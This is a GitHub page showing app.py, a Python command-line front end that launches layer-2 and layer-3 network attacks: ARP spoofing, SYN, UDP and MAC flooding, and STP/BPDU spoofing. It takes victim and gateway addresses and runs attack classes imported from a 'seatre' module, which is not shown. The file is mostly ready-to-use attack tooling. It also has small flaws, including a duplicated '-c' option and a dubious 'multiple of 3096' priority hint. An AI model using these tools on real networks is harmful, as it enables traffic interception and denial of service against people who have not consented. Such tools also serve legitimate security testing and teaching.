-
Notifications
You must be signed in to change notification settings - Fork 1
/
app.py
executable file
·272 lines (247 loc) · 7.88 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
#!/usr/bin/env python3
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 3 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# Written by:
# Nadzeya Hutsko <[email protected]>
"""The orchestrator for all attacks"""
import sys
import argparse
import logging
from textwrap import dedent
from warnings import filterwarnings
filterwarnings("ignore")
from seatre import * # pylint: disable=W0401,C0413 # noqa: F403,E402
_LOGGER = logging.getLogger(__name__)
def run_arp_spoofing(subparser, args):
"""Run the ARP spoofing attack"""
arp_spoofer = ARPSpoofer(args.iface, args.mac) # noqa: F405
if args.desc:
print(arp_spoofer.description)
sys.exit(0)
if (
all(
(
args.iface,
args.mac,
args.gwmac,
args.gwip,
args.victmac,
args.victip,
)
)
is False
):
subparser.print_help()
sys.exit(1)
arp_spoofer.add_gateway(args.gwmac, args.gwip)
arp_spoofer.add_victim(args.victmac, args.victip)
arp_spoofer.run()
def run_flooder(subparser, args):
"""Run SYN, UDP or MAC flood attack"""
match args.attack:
case "synflood":
subargs = [args.destIP, args.port, args.count]
flooder = SYNFlooder(*subargs) # noqa: F405
case "udpflood":
subargs = [args.destIP, args.port, args.count]
flooder = UDPFlooder(*subargs) # noqa: F405
case "macflood":
subargs = [args.iface, args.victmac, args.count]
flooder = MACFlooder(*subargs) # noqa: F405
case _:
raise ValueError(f"Wrong attack name {args.attack}")
if args.desc:
print(flooder.description)
sys.exit(0)
if all(subargs) is False:
subparser.print_help()
sys.exit(1)
flooder.run()
def run_stpflood(subparser, args):
"""Run BPDU spoof attack"""
bpdu_packet = BPDUPacket( # noqa: F405
args.iface, args.srcmac, args.dstmac, args.priority
)
if args.desc:
print(
dedent(
"""\
On a Layer 2 network, switches running STP, RSTP, MSTP, or VBST
exchange BPDUs to calculate a spanning tree and trim the network
into a loop-free tree topology. If forged BPDUs are sent to attack a
device with edge ports and received by them, the device will
automatically change the edge ports to non-edge ports and recalculate
the spanning tree. If the bridge priority in the BPDUs sent by an
attacker is higher than the priority of the root bridge, the network
topology will change, thereby interrupting service traffic.
"""
)
)
sys.exit(0)
if all((args.iface, args.srcmac, args.dstmac)) is False:
subparser.print_help()
sys.exit(1)
bpdu_packet.send_multiple_bpdu_packets()
def main(): # pylint: disable=R0915,R0912
"""The orchestration function"""
parser = argparse.ArgumentParser()
parser.add_argument(
"--debug",
help="Enable the debug mode",
action="store_const",
dest="log_level",
default=logging.INFO,
const=logging.DEBUG,
)
subparser = parser.add_subparsers(
dest="attack",
help="Enter the attack name",
required=True,
)
# The ARP spofing subparser
parser_arpspoof = subparser.add_parser(
"arpspoof", help="The ARP spoofing attack"
)
parser_arpspoof.add_argument(
"-i",
"--iface",
help="Your network interface (i.e. wlp2s0)",
)
parser_arpspoof.add_argument(
"-m",
"--mac",
help="The MAC address of your network interface",
)
parser_arpspoof.add_argument(
"-gm", "--gwmac", help="The gateway's MAC address"
)
parser_arpspoof.add_argument(
"-gip", "--gwip", help="The gateway's IPv4 address"
)
parser_arpspoof.add_argument(
"-vm", "--victmac", help="The victim's MAC address"
)
parser_arpspoof.add_argument(
"-vip", "--victip", help="The victim's IPv4 address"
)
parser_arpspoof.add_argument(
"--desc", help="Print attack description", action="store_true"
)
# The SYN flood subparser
parser_synflood = subparser.add_parser(
"synflood", help="The SYN flood attack"
)
parser_synflood.add_argument(
"-d", "--destIP", help="Destination IP address"
)
parser_synflood.add_argument(
"-p", "--port", help="Destination port number"
)
parser_synflood.add_argument(
"-c",
"--count",
help="Number of packets. Default 9223372036854775807",
)
parser_synflood.add_argument(
"--desc", help="Print attack description", action="store_true"
)
# The UDP flood subparser
parser_udpflood = subparser.add_parser(
"udpflood", help="The UDP flood attack"
)
parser_udpflood.add_argument(
"-d", "--destIP", help="Destination IP address"
)
parser_udpflood.add_argument(
"-p", "--port", help="Destination port number"
)
parser_udpflood.add_argument(
"-c",
"--count",
help="Number of packets. Default 9223372036854775807",
)
parser_udpflood.add_argument(
"--desc", help="Print attack description", action="store_true"
)
# The MAC flood subparser
parser_macflood = subparser.add_parser(
"macflood", help="The MAC flood attack"
)
parser_macflood.add_argument(
"-i",
"--iface",
help="Your network interface (i.e. wlp2s0)",
)
parser_macflood.add_argument(
"-vm",
"--victmac",
help="The victim's MAC address",
)
parser_macflood.add_argument(
"-c",
"--count",
"-c",
help="Number of packets. Default 9223372036854775807",
)
parser_macflood.add_argument(
"--desc", help="Print attack description", action="store_true"
)
# The STP spoofing subparser
parser_stpspoof = subparser.add_parser(
"stpspoof", help="The STP spoofing attack"
)
parser_stpspoof.add_argument(
"-i", "--iface", help="Your network interface (i.e eth0)"
)
parser_stpspoof.add_argument(
"-smac", "--srcmac", help="Your interface MAC address"
)
parser_stpspoof.add_argument(
"-dmac", "--dstmac", help="Switch interface MAC address"
)
parser_stpspoof.add_argument(
"-p",
"--priority",
help="Your STP priority (less is better). Must be a multiple "
"of 3096. Default 8192",
)
parser_stpspoof.add_argument(
"--desc", help="Print attack description", action="store_true"
)
args = parser.parse_args()
logging.basicConfig(
format="%(levelname)s [ %(funcName)s() ] %(message)s",
level=args.log_level,
)
attack_func_mapping = {
"arpspoof": run_arp_spoofing,
"synflood": run_flooder,
"udpflood": run_flooder,
"macflood": run_flooder,
"stpspoof": run_stpflood,
}
subparsers_map = {
"arpspoof": parser_arpspoof,
"synflood": parser_synflood,
"udpflood": parser_udpflood,
"macflood": parser_macflood,
"stpspoof": parser_stpspoof,
}
try:
attack_func_mapping[args.attack](subparsers_map[args.attack], args)
except Exception as exc:
_LOGGER.error(str(exc))
raise exc
if __name__ == "__main__":
main()